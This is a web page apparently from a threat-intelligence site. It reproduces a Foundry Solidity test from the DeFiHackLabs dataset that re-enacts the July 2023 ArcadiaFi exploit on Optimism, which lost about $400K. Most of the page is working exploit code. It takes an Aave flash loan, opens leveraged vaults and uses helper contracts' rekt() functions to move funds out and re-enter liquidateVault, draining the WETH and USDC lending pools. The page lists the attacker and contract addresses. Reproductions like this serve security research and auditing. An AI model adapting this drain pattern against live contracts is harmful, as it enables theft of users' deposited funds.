Skip to content
THREATWIRE

Public reproduction file

src/test/2023-07/ArcadiaFi_exp.sol

Public reproduction file for dataset entry ArcadiaFi.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-07/ArcadiaFi_exp.sol287 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~400K USD$
8// Attacker : https://optimistic.etherscan.io/address/0xd3641c912a6a4c30338787e3c464420b561a9467
9// Attack Contract : https://optimistic.etherscan.io/address/0x01a4d9089c243ccaebe40aa224ad0cab573b83c6
10// Vulnerable Contract : https://optimistic.etherscan.io/address/0x13c0ef5f1996b4f119e9d6c32f5e23e8dc313109
11// Attack Tx : https://optimistic.etherscan.io/tx/0xca7c1a0fde444e1a68a8c2b8ae3fb76ec384d1f7ae9a50d26f8bfdd37c7a0afe
13// @Info
14// Vulnerable Contract Code : https://optimistic.etherscan.io/address/0x3ae354d7e49039ccd582f1f3c9e65034ffd17bad#code
16// @Analysis
17// Post-mortem : https://arcadiafinance.medium.com/post-mortem-72e9d24a79b0
18// Twitter Guy : https://twitter.com/Phalcon_xyz/status/1678250590709899264
19// Twitter Guy : https://twitter.com/peckshield/status/1678265212770693121
21interface IFactory {
22 function createVault(uint256 salt, uint16 vaultVersion, address baseCurrency) external returns (address vault);
25interface LendingPool {
26 function doActionWithLeverage(
27 uint256 amountBorrowed,
28 address vault,
29 address actionHandler,
30 bytes calldata actionData,
31 bytes3 referrer
32 ) external;
33 function liquidateVault(
34 address vault
35 ) external;
38interface IVault {
39 function vaultManagementAction(
40 address actionHandler,
41 bytes calldata actionData
42 ) external returns (address, uint256);
43 function deposit(
44 address[] calldata assetAddresses,
45 uint256[] calldata assetIds,
46 uint256[] calldata assetAmounts
47 ) external;
48 function openTrustedMarginAccount(
49 address creditor
50 ) external;
53interface IActionMultiCall {}
55contract ContractTest is Test {
56 struct ActionData {
57 address[] assets; // Array of the contract addresses of the assets.
58 uint256[] assetIds; // Array of the IDs of the assets.
59 uint256[] assetAmounts; // Array with the amounts of the assets.
60 uint256[] assetTypes; // Array with the types of the assets.
61 uint256[] actionBalances; // Array with the balances of the actionHandler.
62 }
64 IERC20 WETH = IERC20(0x4200000000000000000000000000000000000006);
65 IERC20 USDC = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);
66 IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
67 IFactory Factory = IFactory(0x00CB53780Ea58503D3059FC02dDd596D0Be926cB);
68 LendingPool darcWETH = LendingPool(0xD417c28aF20884088F600e724441a3baB38b22cc);
69 LendingPool darcUSDC = LendingPool(0x9aa024D3fd962701ED17F76c17CaB22d3dc9D92d);
70 IActionMultiCall ActionMultiCall = IActionMultiCall(0x2dE7BbAAaB48EAc228449584f94636bb20d63E65);
71 IVault Proxy1;
72 IVault Proxy2;
74 function setUp() public {
75 vm.createSelectFork("optimism", 106_676_494);
76 vm.label(address(USDC), "USDC");
77 vm.label(address(WETH), "WETH");
78 vm.label(address(aaveV3), "aaveV3");
79 vm.label(address(Factory), "Factory");
80 vm.label(address(darcWETH), "darcWETH");
81 vm.label(address(ActionMultiCall), "ActionMultiCall");
82 }
84 function testExploit() external {
85 address[] memory assets = new address[](2);
86 assets[0] = address(WETH);
87 assets[1] = address(USDC);
88 uint256[] memory amounts = new uint256[](2);
89 amounts[0] = 29_847_813_623_947_075_968;
90 amounts[1] = 11_916_676_700;
91 uint256[] memory modes = new uint256[](2);
92 modes[0] = 0;
93 modes[1] = 0;
94 aaveV3.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);
96 emit log_named_decimal_uint(
97 "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()
98 );
100 emit log_named_decimal_uint(
101 "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()
102 );
103 }
105 function executeOperation(
106 address[] calldata assets,
107 uint256[] calldata amounts,
108 uint256[] calldata premiums,
109 address initiator,
110 bytes calldata params
111 ) external returns (bool) {
112 WETH.approve(address(aaveV3), type(uint256).max);
113 USDC.approve(address(aaveV3), type(uint256).max);
115 WETHDrain(assets[0], amounts[0]);
116 USDCDrain(assets[1], amounts[1]);
118 return true;
119 }
121 function WETHDrain(address targetToken, uint256 tokenAmount) internal {
122 Proxy1 = IVault(Factory.createVault(15_113, uint16(1), targetToken)); // create vault
123 vm.label(address(Proxy1), "Proxy1");
125 Proxy1.openTrustedMarginAccount(address(darcWETH)); // open margin account
126 WETH.approve(address(Proxy1), type(uint256).max);
128 {
129 address[] memory assetAddresses = new address[](1);
130 assetAddresses[0] = targetToken;
131 uint256[] memory assetIds = new uint256[](1);
132 assetIds[0] = 0;
133 uint256[] memory assetAmounts = new uint256[](1);
134 assetAmounts[0] = tokenAmount;
135 Proxy1.deposit(assetAddresses, assetIds, assetAmounts); // deposit collateral
136 }
138 ActionData memory ActionData1 = ActionData({
139 assets: new address[](0),
140 assetIds: new uint256[](0),
141 assetAmounts: new uint256[](0),
142 assetTypes: new uint256[](0),
143 actionBalances: new uint256[](0)
144 });
146 ActionData memory ActionData2 = ActionData({
147 assets: new address[](1),
148 assetIds: new uint256[](1),
149 assetAmounts: new uint256[](1),
150 assetTypes: new uint256[](1),
151 actionBalances: new uint256[](1)
152 });
153 ActionData2.assets[0] = targetToken;
154 address[] memory to = new address[](1);
155 to[0] = targetToken;
156 bytes[] memory data = new bytes[](1);
157 data[0] = abi.encodeWithSignature("approve(address,uint256)", address(Proxy1), type(uint256).max);
158 bytes memory callData1 = abi.encode(ActionData1, ActionData2, to, data);
159 darcWETH.doActionWithLeverage(
160 WETH.balanceOf(address(darcWETH)) - 1e18, address(Proxy1), address(ActionMultiCall), callData1, bytes3(0)
161 ); // leveraged lending
163 Helper1 helper = new Helper1(address(Proxy1));
165 ActionData memory ActionData3 = ActionData({
166 assets: new address[](1),
167 assetIds: new uint256[](1),
168 assetAmounts: new uint256[](1),
169 assetTypes: new uint256[](0),
170 actionBalances: new uint256[](0)
171 });
172 ActionData3.assets[0] = targetToken;
173 ActionData3.assetIds[0] = 0;
174 ActionData3.assetAmounts[0] = WETH.balanceOf(address(Proxy1));
175 address[] memory toAddress = new address[](2);
176 toAddress[0] = targetToken;
177 toAddress[1] = address(helper);
178 bytes[] memory datas = new bytes[](2);
179 datas[0] = abi.encodeWithSignature("approve(address,uint256)", address(helper), type(uint256).max);
180 datas[1] = abi.encodeWithSignature("rekt()");
181 bytes memory callData2 = abi.encode(ActionData3, ActionData1, toAddress, datas);
182 Proxy1.vaultManagementAction(address(ActionMultiCall), callData2); // transfer all the asset to his own controlled contract and re-entry the function liquidateVault to liquidiate the vault
183 }
185 function USDCDrain(address targetToken, uint256 tokenAmount) internal {
186 Proxy2 = IVault(Factory.createVault(15_114, uint16(1), targetToken)); // create vault
187 vm.label(address(Proxy2), "Proxy2");
189 Proxy2.openTrustedMarginAccount(address(darcUSDC)); // open margin account
190 USDC.approve(address(Proxy2), type(uint256).max);
192 {
193 address[] memory assetAddresses = new address[](1);
194 assetAddresses[0] = targetToken;
195 uint256[] memory assetIds = new uint256[](1);
196 assetIds[0] = 0;
197 uint256[] memory assetAmounts = new uint256[](1);
198 assetAmounts[0] = tokenAmount;
199 Proxy2.deposit(assetAddresses, assetIds, assetAmounts); // deposit collateral
200 }
202 ActionData memory ActionData1 = ActionData({
203 assets: new address[](0),
204 assetIds: new uint256[](0),
205 assetAmounts: new uint256[](0),
206 assetTypes: new uint256[](0),
207 actionBalances: new uint256[](0)
208 });
209 ActionData memory ActionData2 = ActionData({
210 assets: new address[](1),
211 assetIds: new uint256[](1),
212 assetAmounts: new uint256[](1),
213 assetTypes: new uint256[](1),
214 actionBalances: new uint256[](1)
215 });
216 ActionData2.assets[0] = targetToken;
217 address[] memory to = new address[](1);
218 to[0] = targetToken;
219 bytes[] memory data = new bytes[](1);
220 data[0] = abi.encodeWithSignature("approve(address,uint256)", address(Proxy2), type(uint256).max);
221 bytes memory callData1 = abi.encode(ActionData1, ActionData2, to, data);
222 darcUSDC.doActionWithLeverage(
223 USDC.balanceOf(address(darcUSDC)) - 50e6, address(Proxy2), address(ActionMultiCall), callData1, bytes3(0)
224 ); // leveraged lending
226 Helper2 helper = new Helper2(address(Proxy2));
228 ActionData memory ActionData3 = ActionData({
229 assets: new address[](1),
230 assetIds: new uint256[](1),
231 assetAmounts: new uint256[](1),
232 assetTypes: new uint256[](0),
233 actionBalances: new uint256[](0)
234 });
235 ActionData3.assets[0] = targetToken;
236 ActionData3.assetIds[0] = 0;
237 ActionData3.assetAmounts[0] = USDC.balanceOf(address(Proxy2));
238 address[] memory toAddress = new address[](2);
239 toAddress[0] = targetToken;
240 toAddress[1] = address(helper);
241 bytes[] memory datas = new bytes[](2);
242 datas[0] = abi.encodeWithSignature("approve(address,uint256)", address(helper), type(uint256).max);
243 datas[1] = abi.encodeWithSignature("rekt()");
244 bytes memory callData2 = abi.encode(ActionData3, ActionData1, toAddress, datas);
245 Proxy2.vaultManagementAction(address(ActionMultiCall), callData2); // transfer all the asset to his own controlled contract and re-entry the function liquidateVault to liquidiate the vault
246 }
249contract Helper1 {
250 address owner;
251 address proxy;
252 address ActionMultiCall = 0x2dE7BbAAaB48EAc228449584f94636bb20d63E65;
253 IERC20 WETH = IERC20(0x4200000000000000000000000000000000000006);
254 LendingPool darcWETH = LendingPool(0xD417c28aF20884088F600e724441a3baB38b22cc);
256 constructor(
257 address target
258 ) {
259 owner = msg.sender;
260 proxy = target;
261 }
263 function rekt() external {
264 WETH.transferFrom(ActionMultiCall, owner, WETH.balanceOf(address(ActionMultiCall)));
265 darcWETH.liquidateVault(proxy);
266 }
269contract Helper2 {
270 address proxy;
271 address owner;
272 address ActionMultiCall = 0x2dE7BbAAaB48EAc228449584f94636bb20d63E65;
273 IERC20 USDC = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);
274 LendingPool darcUSDC = LendingPool(0x9aa024D3fd962701ED17F76c17CaB22d3dc9D92d);
276 constructor(
277 address target
278 ) {
279 owner = msg.sender;
280 proxy = target;
281 }
283 function rekt() external {
284 USDC.transferFrom(ActionMultiCall, owner, USDC.balanceOf(address(ActionMultiCall)));
285 darcUSDC.liquidateVault(proxy);
286 }

Analysis

Dataset entry

Public Foundry test for “ArcadiaFi” (2023-07-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xd3641c912a6a4c30338787e3c464420b561a9467

  • Attack Contract

    0x01a4d9089c243ccaebe40aa224ad0cab573b83c6

  • Vulnerable Contract

    0x13c0ef5f1996b4f119e9d6c32f5e23e8dc313109

  • Vulnerable Contract

    0x3ae354d7e49039ccd582f1f3c9e65034ffd17bad

  • Attack Tx

    0xca7c1a0fde444e1a68a8c2b8ae3fb76ec384d1f7ae9a50d26f8bfdd37c7a0afe

File record

Name
ArcadiaFi
Path
src/test/2023-07/ArcadiaFi_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
198ec5e27467a4c38b78a1202bca7a8a20cce070
Language
Solidity
Size
288 lines
Date
2023-07-10
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-07/ArcadiaFi_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 198ec5e27467a4c38b78a1202bca7a8a20cce070, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.